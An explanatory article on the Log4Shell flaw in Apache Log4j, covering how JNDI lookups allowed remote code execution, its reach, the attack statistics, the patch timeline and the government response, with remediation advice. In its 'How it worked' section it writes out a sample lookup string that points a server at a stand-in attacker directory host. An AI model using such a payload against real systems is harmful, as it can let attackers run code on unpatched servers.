Log4Shell: when a line in a log runs the attacker's code
A flaw in Log4j, a logging library for Java, let attackers take over servers with one line of text. How it worked, how far it reached, what to do now.

What to do now
- Update Log4j to 2.17.1 or newer; on Java 7 use 2.12.4, on Java 6 2.3.2.
- Look for Log4j inside other products too: most packages include it through other packages, so ask your software vendors whether their versions are fixed.
- If an old version was ever reachable from the internet, check logs and systems for signs of attack: the first attempts came on December 1, 2021, before the flaw was public.
- Year
- 2021
- CVSS 3.1 score
- 10.0 critical
- Java packages on Maven Central used the flawed code, more than 8 % of all (Google)
- 35,863
- of corporate networks worldwide saw attack attempts by December 20, 2021 (more than; Check Point data)
- 48 %
- Reach not met
35,863 Java packages on Maven Central, more than 8 % of all, used the flawed code: short of a tenth, and no count of affected systems is documented (Google, December 16, 2021).
- Mass exploitation met
Attack attempts reached more than 48 % of corporate networks worldwide by December 20, 2021 (Check Point vendor data).
- Damage not met
No total damage is documented, and the US Cyber Safety Review Board found exploitation lower than many experts had predicted (CSRB, July 2022).
- Extraordinary response met
Germany's BSI raised its warning to level red on December 11, 2021, and CISA issued Emergency Directive 22-02 on December 17 (BSI; CSRB report).
| Affected | Apache Log4j 2, a logging library for Java programs |
|---|---|
| CVE | CVE-2021-44228, CVE-2021-45046, CVE-2021-45105, CVE-2021-44832 |
| CVSS vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H |
| Weakness (CWE) | CWE-917, CWE-20, CWE-674 |
| Fixed in | Log4j 2.17.1, 2.12.4 (Java 7) and 2.3.2 (Java 6); first fix 2.15.0 on December 10, 2021 |
| On CISA's list of exploited vulnerabilities since | December 10, 2021 |
| Found by | Alibaba Cloud Security Team |
- 1Reported to the vendor
- 2First attacks seen+7 days
- 3Made public+15 days
- 4Fix available+16 days
- 5Germany's BSI raises its warning to level red+17 days
- 6CISA issues Emergency Directive 22-02 to US federal agencies+23 days
On December 9, 2021, a flaw in Log4j became public, in a post on Twitter that has since been deleted. Log4j is a library from the Apache Software Foundation that Java programs use to write logs, the records of what a program does. If an attacker got a short line of text into anything such a program logged, the server could load and run the attacker’s code, without any password.
The US National Vulnerability Database rates the flaw, known as Log4Shell, at 10.0, the highest possible score.
How it worked
Log4j does more than write log messages. It also evaluates placeholders inside them, called lookups, which look like ${...}. One of these lookups, JNDI, lets the library fetch an object from a directory server on the network. An attacker only had to get a string such as ${jndi:ldap://attacker.example/x} into something the server logged: a username, a chat message, or the browser name that a web request usually carries. The server then contacted the attacker’s directory server, received a reference to a Java program and, depending on the Java version and the libraries present, loaded and ran it.
- Attackersends a request with a lookup string
- Log4jlogs the text and evaluates the lookup
- Servercontacts the attacker's directory server
- Javaloads and runs the attacker's code
Reach, attacks and damage
On December 16, 2021, Google counted 35,863 Java packages on Maven Central, the main public store of Java libraries, that depended on the flawed Log4j code. That is more than 8 % of all packages there, while the average security advisory for Maven Central affects 2 %. Only around 7,000 of these packages used Log4j directly. Most included it through other packages, mostly five levels down.
| Affected packages | 35,863 | |
|---|---|---|
| Of them, with Log4j as a direct dependency (around) | 7,000 | |
| Fixed after less than a week | 4,620 |
Source: Google Open Source Insights, December 16 and 17, 2021.
Attacks began before the flaw was public. Cloudflare saw limited testing on December 1, eight days before the disclosure, and its first attack attempt just nine minutes after the post. Then the wave began.
| December 10 | 5,483 | |
|---|---|---|
| December 11 | 18,606 | |
| December 12 | 27,439 | |
| December 13 | 24,642 |
Blocked requests per minute, daily average, December 2021. Cloudflare vendor data.
Five days after the disclosure, Cloudflare saw 400 attempts per second, the US Cyber Safety Review Board noted. By December 20, the security company Check Point had blocked more than 4.3 million attempts and had seen attempts on more than 48 % of corporate networks worldwide. These are counts of attempts in each vendor’s own data, not of successful break-ins, and they cannot be compared with each other.
| Austria | 59 % | |
|---|---|---|
| Germany | 54 % | |
| Switzerland | 47 % | |
| United States | 46 % |
Check Point vendor data, as of December 13, 2021.
How much damage was done is not documented. The Cyber Safety Review Board, which reviewed the case in 2022, found that exploitation stayed lower than many experts had predicted, given how severe the flaw was. It also stressed that no authoritative data on exploitation exists. The cost lay mainly in the response: one US federal department alone reported 33,000 hours of work on Log4j.
The fix and the response
The Alibaba Cloud Security Team reported the flaw to Apache on November 24, 2021. Apache committed a fix on December 5 and made version 2.15.0 available on December 10. That fix was incomplete, and three more releases followed.
- 12.15.0 limits JNDI lookups but leaves a gap
- 22.16.0 removes lookups in messages and switches off JNDI by default+3 days
- 32.17.0 fixes a lookup that loops until the program crashes+7 days
- 42.17.1 fixes an attack through the logging to databases+17 days
The follow-up flaws got CVE numbers of their own. CVE-2021-45046, the gap in 2.15.0, is rated 9.0. CVE-2021-45105, the crash, is rated 5.9. CVE-2021-44832, rated 6.6, only works for an attacker who can already change the logging settings. For programs on older Java versions, Apache released 2.12.4 for Java 7 and 2.3.2 for Java 6.
Governments reacted quickly. CISA, the US cybersecurity agency, put Log4Shell on its list of exploited vulnerabilities on December 10, the day the first fix came out. Germany’s Federal Office for Information Security (BSI) raised its warning to level red on December 11. On December 17, CISA issued Emergency Directive 22-02, an order that US federal agencies must follow.
Still in use years later
Many copies stayed unfixed. Google expected a long wait, likely years, before the whole Maven ecosystem was fixed. In 2025, about 13 % of all Log4j downloads, roughly 40 million, still contained Log4Shell, Sonatype reports.
Sources
- Apache Logging Services: Log4j security page, with scores and fixed versions logging.apache.org
- Log4j release notes logging.apache.org
- NVD: CVE-2021-44228 nvd.nist.gov
- CVE record CVE-2021-44832, with the fixed versions cve.org
- US Cyber Safety Review Board: review of the Log4j event (July 2022, PDF) cisa.gov
- Google: understanding the impact of the Log4j flaw security.googleblog.com
- Cloudflare: exploitation of Log4Shell before its disclosure blog.cloudflare.com
- Check Point: the numbers behind the Log4j attacks (vendor data) blog.checkpoint.com
- BSI: warning level red for Log4Shell (December 11, 2021, in German) bsi.bund.de
- Sonatype: vulnerable Log4j downloads in 2025 sonatype.com
Read next: ProxyLogonPrevious: MOVEit TransferOverview: Vulnerabilities